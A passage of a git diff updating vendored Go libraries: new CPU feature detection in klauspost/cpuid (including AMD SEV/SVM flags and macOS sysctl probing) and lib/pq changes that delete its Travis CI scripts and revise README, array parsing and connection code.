CPUID.(EAX=7, ECX=0).ECX fs.setIf(ecx&(1<<5) != 0, WAITPKG) fs.setIf(ecx&(1<<7) != 0, CETSS) + fs.setIf(ecx&(1<<8) != 0, GFNI) + fs.setIf(ecx&(1<<9) != 0, VAES) + fs.setIf(ecx&(1<<10) != 0, VPCLMULQDQ) + fs.setIf(ecx&(1<<13) != 0, TME) fs.setIf(ecx&(1<<25) != 0, CLDEMOTE) fs.setIf(ecx&(1<<27) != 0, MOVDIRI) fs.setIf(ecx&(1<<28) != 0, MOVDIR64B) fs.setIf(ecx&(1<<29) != 0, ENQCMD) fs.setIf(ecx&(1<<30) != 0, SGXLC) + // CPUID.(EAX=7, ECX=0).EDX fs.setIf(edx&(1<<11) != 0, RTM_ALWAYS_ABORT) fs.setIf(edx&(1<<14) != 0, SERIALIZE) fs.setIf(edx&(1<<16) != 0, TSXLDTRK) + fs.setIf(edx&(1<<18) != 0, PCONFIG) fs.setIf(edx&(1<<20) != 0, CETIBT) fs.setIf(edx&(1<<26) != 0, IBPB) fs.setIf(edx&(1<<27) != 0, STIBP) + // CPUID.(EAX=7, ECX=1) + eax1, _, _, _ := cpuidex(7, 1) + fs.setIf(fs.inSet(AVX) && eax1&(1<<4) != 0, AVXVNNI) + fs.setIf(eax1&(1<<10) != 0, MOVSB_ZL) + fs.setIf(eax1&(1<<11) != 0, STOSB_SHORT) + fs.setIf(eax1&(1<<12) != 0, CMPSB_SCADBS_SHORT) + fs.setIf(eax1&(1<<22) != 0, HRESET) + fs.setIf(eax1&(1<<26) != 0, LAM) + // Only detect AVX-512 features if XGETBV is supported if c&((1<<26)|(1<<27)) == (1<<26)|(1<<27) { // Check for OS support @@ -1033,9 +1109,6 @@ func support() flagSet { // ecx fs.setIf(ecx&(1<<1) != 0, AVX512VBMI) fs.setIf(ecx&(1<<6) != 0, AVX512VBMI2) - fs.setIf(ecx&(1<<8) != 0, GFNI) - fs.setIf(ecx&(1<<9) != 0, VAES) - fs.setIf(ecx&(1<<10) != 0, VPCLMULQDQ) fs.setIf(ecx&(1<<11) != 0, AVX512VNNI) fs.setIf(ecx&(1<<12) != 0, AVX512BITALG) fs.setIf(ecx&(1<<14) != 0, AVX512VPOPCNTDQ) @@ -1050,20 +1123,45 @@ func support() flagSet { } } } - + // Processor Extended State Enumeration Sub-leaf (EAX = 0DH, ECX = 1) + // EAX + // Bit 00: XSAVEOPT is available. + // Bit 01: Supports XSAVEC and the compacted form of XRSTOR if set. + // Bit 02: Supports XGETBV with ECX = 1 if set. + // Bit 03: Supports XSAVES/XRSTORS and IA32_XSS if set. + // Bits 31 - 04: Reserved. + // EBX + // Bits 31 - 00: The size in bytes of the XSAVE area containing all states enabled by XCRO | IA32_XSS. + // ECX + // Bits 31 - 00: Reports the supported bits of the lower 32 bits of the IA32_XSS MSR. IA32_XSS[n] can be set to 1 only if ECX[n] is 1. + // EDX? + // Bits 07 - 00: Used for XCR0. Bit 08: PT state. Bit 09: Used for XCR0. Bits 12 - 10: Reserved. Bit 13: HWP state. Bits 31 - 14: Reserved. + if mfi >= 0xd { + if fs.inSet(XSAVE) { + eax, _, _, _ := cpuidex(0xd, 1) + fs.setIf(eax&(1<<0) != 0, XSAVEOPT) + fs.setIf(eax&(1<<1) != 0, XSAVEC) + fs.setIf(eax&(1<<2) != 0, XGETBV1) + fs.setIf(eax&(1<<3) != 0, XSAVES) + } + } if maxExtendedFunction() >= 0x80000001 { _, _, c, d := cpuid(0x80000001) if (c & (1 << 5)) != 0 { fs.set(LZCNT) fs.set(POPCNT) } + // ECX fs.setIf((c&(1<<0)) != 0, LAHF) + fs.setIf((c&(1<<2)) != 0, SVM) + fs.setIf((c&(1<<6)) != 0, SSE4A) fs.setIf((c&(1<<10)) != 0, IBS) + + // EDX fs.setIf((d&(1<<31)) != 0, AMD3DNOW) fs.setIf((d&(1<<30)) != 0, AMD3DNOWEXT) fs.setIf((d&(1<<23)) != 0, MMX) fs.setIf((d&(1<<22)) != 0, MMXEXT) - fs.setIf((c&(1<<6)) != 0, SSE4A) fs.setIf(d&(1<<20) != 0, NX) fs.setIf(d&(1<<27) != 0, RDTSCP) @@ -1094,6 +1192,20 @@ func support() flagSet { fs.setIf((b&(1<<0)) != 0, CLZERO) } + if fs.inSet(SVM) && maxExtendedFunction() >= 0x8000000A { + _, _, _, edx := cpuid(0x8000000A) + fs.setIf((edx>>0)&1 == 1, SVMNP) + fs.setIf((edx>>1)&1 == 1, LBRVIRT) + fs.setIf((edx>>2)&1 == 1, SVML) + fs.setIf((edx>>3)&1 == 1, NRIPS) + fs.setIf((edx>>4)&1 == 1, TSCRATEMSR) + fs.setIf((edx>>5)&1 == 1, VMCBCLEAN) + fs.setIf((edx>>6)&1 == 1, SVMFBASID) + fs.setIf((edx>>7)&1 == 1, SVMDA) + fs.setIf((edx>>10)&1 == 1, SVMPF) + fs.setIf((edx>>12)&1 == 1, SVMPFT) + } + if maxExtendedFunction() >= 0x8000001b && fs.inSet(IBS) { eax, _, _, _ := cpuid(0x8000001b) fs.setIf((eax>>0)&1 == 1, IBSFFV) @@ -1106,6 +1218,24 @@ func support() flagSet { fs.setIf((eax>>7)&1 == 1, IBSRIPINVALIDCHK) } + if maxExtendedFunction() >= 0x8000001f && vend == AMD { + a, _, _, _ := cpuid(0x8000001f) + fs.setIf((a>>0)&1 == 1, SME) + fs.setIf((a>>1)&1 == 1, SEV) + fs.setIf((a>>2)&1 == 1, MSR_PAGEFLUSH) + fs.setIf((a>>3)&1 == 1, SEV_ES) + fs.setIf((a>>4)&1 == 1, SEV_SNP) + fs.setIf((a>>5)&1 == 1, VMPL) + fs.setIf((a>>10)&1 == 1, SME_COHERENT) + fs.setIf((a>>11)&1 == 1, SEV_64BIT) + fs.setIf((a>>12)&1 == 1, SEV_RESTRICTED) + fs.setIf((a>>13)&1 == 1, SEV_ALTERNATIVE) + fs.setIf((a>>14)&1 == 1, SEV_DEBUGSWAP) + fs.setIf((a>>15)&1 == 1, IBS_PREVENTHOST) + fs.setIf((a>>16)&1 == 1, VTE) + fs.setIf((a>>24)&1 == 1, VMSA_REGPROT) + } + return fs } diff --git a/vendor/github.com/klauspost/cpuid/v2/featureid_string.go b/vendor/github.com/klauspost/cpuid/v2/featureid_string.go index 02fe232aa..a9b3e36c7 100644 --- a/vendor/github.com/klauspost/cpuid/v2/featureid_string.go +++ b/vendor/github.com/klauspost/cpuid/v2/featureid_string.go @@ -34,116 +34,153 @@ func _() { _ = x[AVX512VP2INTERSECT-24] _ = x[AVX512VPOPCNTDQ-25] _ = x[AVXSLOW-26] - _ = x[BMI1-27] - _ = x[BMI2-28] - _ = x[CETIBT-29] - _ = x[CETSS-30] - _ = x[CLDEMOTE-31] - _ = x[CLMUL-32] - _ = x[CLZERO-33] - _ = x[CMOV-34] - _ = x[CMPXCHG8-35] - _ = x[CPBOOST-36] - _ = x[CX16-37] - _ = x[ENQCMD-38] - _ = x[ERMS-39] - _ = x[F16C-40] - _ = x[FMA3-41] - _ = x[FMA4-42] - _ = x[FXSR-43] - _ = x[FXSROPT-44] - _ = x[GFNI-45] - _ = x[HLE-46] - _ = x[HTT-47] - _ = x[HWA-48] - _ = x[HYPERVISOR-49] - _ = x[IBPB-50] - _ = x[IBS-51] - _ = x[IBSBRNTRGT-52] - _ = x[IBSFETCHSAM-53] - _ = x[IBSFFV-54] - _ = x[IBSOPCNT-55] - _ = x[IBSOPCNTEXT-56] - _ = x[IBSOPSAM-57] - _ = x[IBSRDWROPCNT-58] - _ = x[IBSRIPINVALIDCHK-59] - _ = x[INT_WBINVD-60] - _ = x[INVLPGB-61] - _ = x[LAHF-62] - _ = x[LZCNT-63] - _ = x[MCAOVERFLOW-64] - _ = x[MCOMMIT-65] - _ = x[MMX-66] - _ = x[MMXEXT-67] - _ = x[MOVBE-68] - _ = x[MOVDIR64B-69] - _ = x[MOVDIRI-70] - _ = x[MPX-71] - _ = x[MSRIRC-72] - _ = x[NX-73] - _ = x[OSXSAVE-74] - _ = x[POPCNT-75] - _ = x[RDPRU-76] - _ = x[RDRAND-77] - _ = x[RDSEED-78] - _ = x[RDTSCP-79] - _ = x[RTM-80] - _ = x[RTM_ALWAYS_ABORT-81] - _ = x[SCE-82] - _ = x[SERIALIZE-83] - _ = x[SGX-84] - _ = x[SGXLC-85] - _ = x[SHA-86] - _ = x[SSE-87] - _ = x[SSE2-88] - _ = x[SSE3-89] - _ = x[SSE4-90] - _ = x[SSE42-91] - _ = x[SSE4A-92] - _ = x[SSSE3-93] - _ = x[STIBP-94] - _ = x[SUCCOR-95] - _ = x[TBM-96] - _ = x[TSXLDTRK-97] - _ = x[VAES-98] - _ = x[VMX-99] - _ = x[VPCLMULQDQ-100] - _ = x[WAITPKG-101] - _ = x[WBNOINVD-102] - _ = x[X87-103] - _ = x[XOP-104] - _ = x[XSAVE-105] - _ = x[AESARM-106] - _ = x[ARMCPUID-107] - _ = x[ASIMD-108] - _ = x[ASIMDDP-109] - _ = x[ASIMDHP-110] - _ = x[ASIMDRDM-111] - _ = x[ATOMICS-112] - _ = x[CRC32-113] - _ = x[DCPOP-114] - _ = x[EVTSTRM-115] - _ = x[FCMA-116] - _ = x[FP-117] - _ = x[FPHP-118] - _ = x[GPA-119] - _ = x[JSCVT-120] - _ = x[LRCPC-121] - _ = x[PMULL-122] - _ = x[SHA1-123] - _ = x[SHA2-124] - _ = x[SHA3-125] - _ = x[SHA512-126] - _ = x[SM3-127] - _ = x[SM4-128] - _ = x[SVE-129] - _ = x[lastID-130] + _ = x[AVXVNNI-27] + _ = x[BMI1-28] + _ = x[BMI2-29] + _ = x[CETIBT-30] + _ = x[CETSS-31] + _ = x[CLDEMOTE-32] + _ = x[CLMUL-33] + _ = x[CLZERO-34] + _ = x[CMOV-35] + _ = x[CMPSB_SCADBS_SHORT-36] + _ = x[CMPXCHG8-37] + _ = x[CPBOOST-38] + _ = x[CX16-39] + _ = x[ENQCMD-40] + _ = x[ERMS-41] + _ = x[F16C-42] + _ = x[FMA3-43] + _ = x[FMA4-44] + _ = x[FXSR-45] + _ = x[FXSROPT-46] + _ = x[GFNI-47] + _ = x[HLE-48] + _ = x[HRESET-49] + _ = x[HTT-50] + _ = x[HWA-51] + _ = x[HYPERVISOR-52] + _ = x[IBPB-53] + _ = x[IBS-54] + _ = x[IBSBRNTRGT-55] + _ = x[IBSFETCHSAM-56] + _ = x[IBSFFV-57] + _ = x[IBSOPCNT-58] + _ = x[IBSOPCNTEXT-59] + _ = x[IBSOPSAM-60] + _ = x[IBSRDWROPCNT-61] + _ = x[IBSRIPINVALIDCHK-62] + _ = x[IBS_PREVENTHOST-63] + _ = x[INT_WBINVD-64] + _ = x[INVLPGB-65] + _ = x[LAHF-66] + _ = x[LAM-67] + _ = x[LBRVIRT-68] + _ = x[LZCNT-69] + _ = x[MCAOVERFLOW-70] + _ = x[MCOMMIT-71] + _ = x[MMX-72] + _ = x[MMXEXT-73] + _ = x[MOVBE-74] + _ = x[MOVDIR64B-75] + _ = x[MOVDIRI-76] + _ = x[MOVSB_ZL-77] + _ = x[MPX-78] + _ = x[MSRIRC-79] + _ = x[MSR_PAGEFLUSH-80] + _ = x[NRIPS-81] + _ = x[NX-82] + _ = x[OSXSAVE-83] + _ = x[PCONFIG-84] + _ = x[POPCNT-85] + _ = x[RDPRU-86] + _ = x[RDRAND-87] + _ = x[RDSEED-88] + _ = x[RDTSCP-89] + _ = x[RTM-90] + _ = x[RTM_ALWAYS_ABORT-91] + _ = x[SCE-92] + _ = x[SERIALIZE-93] + _ = x[SEV-94] + _ = x[SEV_64BIT-95] + _ = x[SEV_ALTERNATIVE-96] + _ = x[SEV_DEBUGSWAP-97] + _ = x[SEV_ES-98] + _ = x[SEV_RESTRICTED-99] + _ = x[SEV_SNP-100] + _ = x[SGX-101] + _ = x[SGXLC-102] + _ = x[SHA-103] + _ = x[SME-104] + _ = x[SME_COHERENT-105] + _ = x[SSE-106] + _ = x[SSE2-107] + _ = x[SSE3-108] + _ = x[SSE4-109] + _ = x[SSE42-110] + _ = x[SSE4A-111] + _ = x[SSSE3-112] + _ = x[STIBP-113] + _ = x[STOSB_SHORT-114] + _ = x[SUCCOR-115] + _ = x[SVM-116] + _ = x[SVMDA-117] + _ = x[SVMFBASID-118] + _ = x[SVML-119] + _ = x[SVMNP-120] + _ = x[SVMPF-121] + _ = x[SVMPFT-122] + _ = x[TBM-123] + _ = x[TME-124] + _ = x[TSCRATEMSR-125] + _ = x[TSXLDTRK-126] + _ = x[VAES-127] + _ = x[VMCBCLEAN-128] + _ = x[VMPL-129] + _ = x[VMSA_REGPROT-130] + _ = x[VMX-131] + _ = x[VPCLMULQDQ-132] + _ = x[VTE-133] + _ = x[WAITPKG-134] + _ = x[WBNOINVD-135] + _ = x[X87-136] + _ = x[XGETBV1-137] + _ = x[XOP-138] + _ = x[XSAVE-139] + _ = x[XSAVEC-140] + _ = x[XSAVEOPT-141] + _ = x[XSAVES-142] + _ = x[AESARM-143] + _ = x[ARMCPUID-144] + _ = x[ASIMD-145] + _ = x[ASIMDDP-146] + _ = x[ASIMDHP-147] + _ = x[ASIMDRDM-148] + _ = x[ATOMICS-149] + _ = x[CRC32-150] + _ = x[DCPOP-151] + _ = x[EVTSTRM-152] + _ = x[FCMA-153] + _ = x[FP-154] + _ = x[FPHP-155] + _ = x[GPA-156] + _ = x[JSCVT-157] + _ = x[LRCPC-158] + _ = x[PMULL-159] + _ = x[SHA1-160] + _ = x[SHA2-161] + _ = x[SHA3-162] + _ = x[SHA512-163] + _ = x[SM3-164] + _ = x[SM4-165] + _ = x[SVE-166] + _ = x[lastID-167] _ = x[firstID-0] } -const _FeatureID_name = "firstIDADXAESNIAMD3DNOWAMD3DNOWEXTAMXBF16AMXINT8AMXTILEAVXAVX2AVX512BF16AVX512BITALGAVX512BWAVX512CDAVX512DQAVX512ERAVX512FAVX512FP16AVX512IFMAAVX512PFAVX512VBMIAVX512VBMI2AVX512VLAVX512VNNIAVX512VP2INTERSECTAVX512VPOPCNTDQAVXSLOWBMI1BMI2CETIBTCETSSCLDEMOTECLMULCLZEROCMOVCMPXCHG8CPBOOSTCX16ENQCMDERMSF16CFMA3FMA4FXSRFXSROPTGFNIHLEHTTHWAHYPERVISORIBPBIBSIBSBRNTRGTIBSFETCHSAMIBSFFVIBSOPCNTIBSOPCNTEXTIBSOPSAMIBSRDWROPCNTIBSRIPINVALIDCHKINT_WBINVDINVLPGBLAHFLZCNTMCAOVERFLOWMCOMMITMMXMMXEXTMOVBEMOVDIR64BMOVDIRIMPXMSRIRCNXOSXSAVEPOPCNTRDPRURDRANDRDSEEDRDTSCPRTMRTM_ALWAYS_ABORTSCESERIALIZESGXSGXLCSHASSESSE2SSE3SSE4SSE42SSE4ASSSE3STIBPSUCCORTBMTSXLDTRKVAESVMXVPCLMULQDQWAITPKGWBNOINVDX87XOPXSAVEAESARMARMCPUIDASIMDASIMDDPASIMDHPASIMDRDMATOMICSCRC32DCPOPEVTSTRMFCMAFPFPHPGPAJSCVTLRCPCPMULLSHA1SHA2SHA3SHA512SM3SM4SVElastID" +const _FeatureID_name = "firstIDADXAESNIAMD3DNOWAMD3DNOWEXTAMXBF16AMXINT8AMXTILEAVXAVX2AVX512BF16AVX512BITALGAVX512BWAVX512CDAVX512DQAVX512ERAVX512FAVX512FP16AVX512IFMAAVX512PFAVX512VBMIAVX512VBMI2AVX512VLAVX512VNNIAVX512VP2INTERSECTAVX512VPOPCNTDQAVXSLOWAVXVNNIBMI1BMI2CETIBTCETSSCLDEMOTECLMULCLZEROCMOVCMPSB_SCADBS_SHORTCMPXCHG8CPBOOSTCX16ENQCMDERMSF16CFMA3FMA4FXSRFXSROPTGFNIHLEHRESETHTTHWAHYPERVISORIBPBIBSIBSBRNTRGTIBSFETCHSAMIBSFFVIBSOPCNTIBSOPCNTEXTIBSOPSAMIBSRDWROPCNTIBSRIPINVALIDCHKIBS_PREVENTHOSTINT_WBINVDINVLPGBLAHFLAMLBRVIRTLZCNTMCAOVERFLOWMCOMMITMMXMMXEXTMOVBEMOVDIR64BMOVDIRIMOVSB_ZLMPXMSRIRCMSR_PAGEFLUSHNRIPSNXOSXSAVEPCONFIGPOPCNTRDPRURDRANDRDSEEDRDTSCPRTMRTM_ALWAYS_ABORTSCESERIALIZESEVSEV_64BITSEV_ALTERNATIVESEV_DEBUGSWAPSEV_ESSEV_RESTRICTEDSEV_SNPSGXSGXLCSHASMESME_COHERENTSSESSE2SSE3SSE4SSE42SSE4ASSSE3STIBPSTOSB_SHORTSUCCORSVMSVMDASVMFBASIDSVMLSVMNPSVMPFSVMPFTTBMTMETSCRATEMSRTSXLDTRKVAESVMCBCLEANVMPLVMSA_REGPROTVMXVPCLMULQDQVTEWAITPKGWBNOINVDX87XGETBV1XOPXSAVEXSAVECXSAVEOPTXSAVESAESARMARMCPUIDASIMDASIMDDPASIMDHPASIMDRDMATOMICSCRC32DCPOPEVTSTRMFCMAFPFPHPGPAJSCVTLRCPCPMULLSHA1SHA2SHA3SHA512SM3SM4SVElastID" -var _FeatureID_index = [...]uint16{0, 7, 10, 15, 23, 34, 41, 48, 55, 58, 62, 72, 84, 92, 100, 108, 116, 123, 133, 143, 151, 161, 172, 180, 190, 208, 223, 230, 234, 238, 244, 249, 257, 262, 268, 272, 280, 287, 291, 297, 301, 305, 309, 313, 317, 324, 328, 331, 334, 337, 347, 351, 354, 364, 375, 381, 389, 400, 408, 420, 436, 446, 453, 457, 462, 473, 480, 483, 489, 494, 503, 510, 513, 519, 521, 528, 534, 539, 545, 551, 557, 560, 576, 579, 588, 591, 596, 599, 602, 606, 610, 614, 619, 624, 629, 634, 640, 643, 651, 655, 658, 668, 675, 683, 686, 689, 694, 700, 708, 713, 720, 727, 735, 742, 747, 752, 759, 763, 765, 769, 772, 777, 782, 787, 791, 795, 799, 805, 808, 811, 814, 820} +var _FeatureID_index = [...]uint16{0, 7, 10, 15, 23, 34, 41, 48, 55, 58, 62, 72, 84, 92, 100, 108, 116, 123, 133, 143, 151, 161, 172, 180, 190, 208, 223, 230, 237, 241, 245, 251, 256, 264, 269, 275, 279, 297, 305, 312, 316, 322, 326, 330, 334, 338, 342, 349, 353, 356, 362, 365, 368, 378, 382, 385, 395, 406, 412, 420, 431, 439, 451, 467, 482, 492, 499, 503, 506, 513, 518, 529, 536, 539, 545, 550, 559, 566, 574, 577, 583, 596, 601, 603, 610, 617, 623, 628, 634, 640, 646, 649, 665, 668, 677, 680, 689, 704, 717, 723, 737, 744, 747, 752, 755, 758, 770, 773, 777, 781, 785, 790, 795, 800, 805, 816, 822, 825, 830, 839, 843, 848, 853, 859, 862, 865, 875, 883, 887, 896, 900, 912, 915, 925, 928, 935, 943, 946, 953, 956, 961, 967, 975, 981, 987, 995, 1000, 1007, 1014, 1022, 1029, 1034, 1039, 1046, 1050, 1052, 1056, 1059, 1064, 1069, 1074, 1078, 1082, 1086, 1092, 1095, 1098, 1101, 1107} func (i FeatureID) String() string { if i < 0 || i >= FeatureID(len(_FeatureID_index)-1) { diff --git a/vendor/github.com/klauspost/cpuid/v2/os_darwin_arm64.go b/vendor/github.com/klauspost/cpuid/v2/os_darwin_arm64.go index 8d2cb0368..d91d02109 100644 --- a/vendor/github.com/klauspost/cpuid/v2/os_darwin_arm64.go +++ b/vendor/github.com/klauspost/cpuid/v2/os_darwin_arm64.go @@ -2,18 +2,120 @@ package cpuid -import "runtime" +import ( + "runtime" + "strings" + + "golang.org/x/sys/unix" +) func detectOS(c *CPUInfo) bool { + if runtime.GOOS != "ios" { + tryToFillCPUInfoFomSysctl(c) + } // There are no hw.optional sysctl values for the below features on Mac OS 11.0 // to detect their supported state dynamically. Assume the CPU features that // Apple Silicon M1 supports to be available as a minimal set of features // to all Go programs running on darwin/arm64. // TODO: Add more if we know them. c.featureSet.setIf(runtime.GOOS != "ios", AESARM, PMULL, SHA1, SHA2) - c.PhysicalCores = runtime.NumCPU() - // For now assuming 1 thread per core... - c.ThreadsPerCore = 1 - c.LogicalCores = c.PhysicalCores + return true } + +func sysctlGetBool(name string) bool { + value, err := unix.SysctlUint32(name) + if err != nil { + return false + } + return value != 0 +} + +func sysctlGetString(name string) string { + value, err := unix.Sysctl(name) + if err != nil { + return "" + } + return value +} + +func sysctlGetInt(unknown int, names ...string) int { + for _, name := range names { + value, err := unix.SysctlUint32(name) + if err != nil { + continue + } + if value != 0 { + return int(value) + } + } + return unknown +} + +func sysctlGetInt64(unknown int, names ...string) int { + for _, name := range names { + value64, err := unix.SysctlUint64(name) + if err != nil { + continue + } + if int(value64) != unknown { + return int(value64) + } + } + return unknown +} + +func setFeature(c *CPUInfo, name string, feature FeatureID) { + c.featureSet.setIf(sysctlGetBool(name), feature) +} +func tryToFillCPUInfoFomSysctl(c *CPUInfo) { + c.BrandName = sysctlGetString("machdep.cpu.brand_string") + + if len(c.BrandName) != 0 { + c.VendorString = strings.Fields(c.BrandName)[0] + } + + c.PhysicalCores = sysctlGetInt(runtime.NumCPU(), "hw.physicalcpu") + c.ThreadsPerCore = sysctlGetInt(1, "machdep.cpu.thread_count", "kern.num_threads") / + sysctlGetInt(1, "hw.physicalcpu") + c.LogicalCores = sysctlGetInt(runtime.NumCPU(), "machdep.cpu.core_count") + c.Family = sysctlGetInt(0, "machdep.cpu.family", "hw.cpufamily") + c.Model = sysctlGetInt(0, "machdep.cpu.model") + c.CacheLine = sysctlGetInt64(0, "hw.cachelinesize") + c.Cache.L1I = sysctlGetInt64(-1, "hw.l1icachesize") + c.Cache.L1D = sysctlGetInt64(-1, "hw.l1icachesize") + c.Cache.L2 = sysctlGetInt64(-1, "hw.l2cachesize") + c.Cache.L3 = sysctlGetInt64(-1, "hw.l3cachesize") + + // from https://developer.arm.com/downloads/-/exploration-tools/feature-names-for-a-profile + setFeature(c, "hw.optional.arm.FEAT_AES", AESARM) + setFeature(c, "hw.optional.AdvSIMD", ASIMD) + setFeature(c, "hw.optional.arm.FEAT_DotProd", ASIMDDP) + setFeature(c, "hw.optional.arm.FEAT_RDM", ASIMDRDM) + setFeature(c, "hw.optional.FEAT_CRC32", CRC32) + setFeature(c, "hw.optional.arm.FEAT_DPB", DCPOP) + // setFeature(c, "", EVTSTRM) + setFeature(c, "hw.optional.arm.FEAT_FCMA", FCMA) + setFeature(c, "hw.optional.arm.FEAT_FP", FP) + setFeature(c, "hw.optional.arm.FEAT_FP16", FPHP) + setFeature(c, "hw.optional.arm.FEAT_PAuth", GPA) + setFeature(c, "hw.optional.arm.FEAT_JSCVT", JSCVT) + setFeature(c, "hw.optional.arm.FEAT_LRCPC", LRCPC) + setFeature(c, "hw.optional.arm.FEAT_PMULL", PMULL) + setFeature(c, "hw.optional.arm.FEAT_SHA1", SHA1) + setFeature(c, "hw.optional.arm.FEAT_SHA256", SHA2) + setFeature(c, "hw.optional.arm.FEAT_SHA3", SHA3) + setFeature(c, "hw.optional.arm.FEAT_SHA512", SHA512) + // setFeature(c, "", SM3) + // setFeature(c, "", SM4) + setFeature(c, "hw.optional.arm.FEAT_SVE", SVE) + + // from empirical observation + setFeature(c, "hw.optional.AdvSIMD_HPFPCvt", ASIMDHP) + setFeature(c, "hw.optional.armv8_1_atomics", ATOMICS) + setFeature(c, "hw.optional.floatingpoint", FP) + setFeature(c, "hw.optional.armv8_2_sha3", SHA3) + setFeature(c, "hw.optional.armv8_2_sha512", SHA512) + setFeature(c, "hw.optional.armv8_3_compnum", FCMA) + setFeature(c, "hw.optional.armv8_crc32", CRC32) +} diff --git a/vendor/github.com/lib/pq/.travis.sh b/vendor/github.com/lib/pq/.travis.sh deleted file mode 100644 index ebf447030..000000000 --- a/vendor/github.com/lib/pq/.travis.sh +++ /dev/null @@ -1,73 +0,0 @@ -#!/bin/bash - -set -eu - -client_configure() { - sudo chmod 600 $PQSSLCERTTEST_PATH/postgresql.key -} - -pgdg_repository() { - local sourcelist='sources.list.d/postgresql.list' - - curl -sS 'https://www.postgresql.org/media/keys/ACCC4CF8.asc' | sudo apt-key add - - echo deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -cs)-pgdg main $PGVERSION | sudo tee "/etc/apt/$sourcelist" - sudo apt-get -o Dir::Etc::sourcelist="$sourcelist" -o Dir::Etc::sourceparts='-' -o APT::Get::List-Cleanup='0' update -} - -postgresql_configure() { - sudo tee /etc/postgresql/$PGVERSION/main/pg_hba.conf > /dev/null <<-config - local all all trust - hostnossl all pqgossltest 127.0.0.1/32 reject - hostnossl all pqgosslcert 127.0.0.1/32 reject - hostssl all pqgossltest 127.0.0.1/32 trust - hostssl all pqgosslcert 127.0.0.1/32 cert - host all all 127.0.0.1/32 trust - hostnossl all pqgossltest ::1/128 reject - hostnossl all pqgosslcert ::1/128 reject - hostssl all pqgossltest ::1/128 trust - hostssl all pqgosslcert ::1/128 cert - host all all ::1/128 trust - config - - xargs sudo install -o postgres -g postgres -m 600 -t /var/lib/postgresql/$PGVERSION/main/ <<-certificates - certs/root.crt - certs/server.crt - certs/server.key - certificates - - sort -VCu <<-versions || - $PGVERSION - 9.2 - versions - sudo tee -a /etc/postgresql/$PGVERSION/main/postgresql.conf > /dev/null <<-config - ssl_ca_file = 'root.crt' - ssl_cert_file = 'server.crt' - ssl_key_file = 'server.key' - config - - echo 127.0.0.1 postgres | sudo tee -a /etc/hosts > /dev/null - - sudo service postgresql restart -} - -postgresql_install() { - xargs sudo apt-get -y -o Dpkg::Options::='--force-confdef' -o Dpkg::Options::='--force-confnew' install <<-packages - postgresql-$PGVERSION - postgresql-server-dev-$PGVERSION - postgresql-contrib-$PGVERSION - packages -} - -postgresql_uninstall() { - sudo service postgresql stop - xargs sudo apt-get -y --purge remove <<-packages - libpq-dev - libpq5 - postgresql - postgresql-client-common - postgresql-common - packages - sudo rm -rf /var/lib/postgresql -} - -$1 diff --git a/vendor/github.com/lib/pq/.travis.yml b/vendor/github.com/lib/pq/.travis.yml deleted file mode 100644 index f378207f2..000000000 --- a/vendor/github.com/lib/pq/.travis.yml +++ /dev/null @@ -1,45 +0,0 @@ -language: go - -go: - - 1.14.x - - 1.15.x - - master - -sudo: true - -env: - global: - - PGUSER=postgres - - PQGOSSLTESTS=1 - - PQSSLCERTTEST_PATH=$PWD/certs - - PGHOST=127.0.0.1 - - GODEBUG=x509ignoreCN=0 - matrix: - - PGVERSION=10 - - PGVERSION=9.6 - - PGVERSION=9.5 - - PGVERSION=9.4 - -before_install: - - ./.travis.sh postgresql_uninstall - - ./.travis.sh pgdg_repository - - ./.travis.sh postgresql_install - - ./.travis.sh postgresql_configure - - ./.travis.sh client_configure - - go get golang.org/x/tools/cmd/goimports - - go get golang.org/x/lint/golint - - GO111MODULE=on go get honnef.co/go/tools/cmd/staticcheck@2020.1.3 - -before_script: - - createdb pqgotest - - createuser -DRS pqgossltest - - createuser -DRS pqgosslcert - -script: - - > - goimports -d -e $(find -name '*.go') | awk '{ print } END { exit NR == 0 ? 0 : 1 }' - - go vet ./... - - staticcheck -go 1.13 ./... - - golint ./... - - PQTEST_BINARY_PARAMETERS=no go test -race -v ./... - - PQTEST_BINARY_PARAMETERS=yes go test -race -v ./... diff --git a/vendor/github.com/lib/pq/README.md b/vendor/github.com/lib/pq/README.md index c972a86a5..126ee5d35 100644 --- a/vendor/github.com/lib/pq/README.md +++ b/vendor/github.com/lib/pq/README.md @@ -27,4 +27,10 @@ ## Status -This package is effectively in maintenance mode and is not actively developed. Small patches and features are only rarely reviewed and merged. We recommend using [pgx](https://github.com/jackc/pgx) which is actively maintained. +This package is currently in maintenance mode, which means: +1. It generally does not accept new features. +2. It does accept bug fixes and version compatability changes provided by the community. +3. Maintainers usually do not resolve reported issues. +4. Community members are encouraged to help each other with reported issues. + +For users that require new features or reliable resolution of reported bugs, we recommend using [pgx](https://github.com/jackc/pgx) which is under active development. diff --git a/vendor/github.com/lib/pq/array.go b/vendor/github.com/lib/pq/array.go index 405da2368..39c8f7e2e 100644 --- a/vendor/github.com/lib/pq/array.go +++ b/vendor/github.com/lib/pq/array.go @@ -22,7 +22,7 @@ var typeSQLScanner = reflect.TypeOf((*sql.Scanner)(nil)).Elem() // db.Query(`SELECT * FROM t WHERE id = ANY($1)`, pq.Array([]int{235, 401})) // // var x []sql.NullInt64 -// db.QueryRow('SELECT ARRAY[235, 401]').Scan(pq.Array(&x)) +// db.QueryRow(`SELECT ARRAY[235, 401]`).Scan(pq.Array(&x)) // // Scanning multi-dimensional arrays is not supported. Arrays where the lower // bound is not one (such as `[0:0]={1}') are not supported. @@ -587,8 +587,8 @@ func (a *Int32Array) scanBytes(src []byte) error { } else { b := make(Int32Array, len(elems)) for i, v := range elems { - var x int - if x, err = strconv.Atoi(string(v)); err != nil { + x, err := strconv.ParseInt(string(v), 10, 32) + if err != nil { return fmt.Errorf("pq: parsing array element index %d: %v", i, err) } b[i] = int32(x) diff --git a/vendor/github.com/lib/pq/conn.go b/vendor/github.com/lib/pq/conn.go index db0b6cef5..7d83f672b 100644 --- a/vendor/github.com/lib/pq/conn.go +++ b/vendor/github.com/lib/pq/conn.go @@ -18,7 +18,7 @@ import ( "path/filepath" "strconv" "strings" - "sync/atomic" + "sync" "time" "unicode" @@ -31,8 +31,10 @@ var ( ErrNotSupported = errors.New("pq: Unsupported command") ErrInFailedTransaction = errors.New("pq: Could not complete operation in a failed transaction") ErrSSLNotSupported = errors.New("pq: SSL is not enabled on the server") - ErrSSLKeyHasWorldPermissions = errors.New("pq: Private key file has group or world access. Permissions should be u=rw (0600) or less") - ErrCouldNotDetectUsername = errors.New("pq: Could not detect default username. Please provide one explicitly") + ErrSSLKeyUnknownOwnership = errors.New("pq: Could not get owner information for private key, may not be properly protected") + ErrSSLKeyHasWorldPermissions 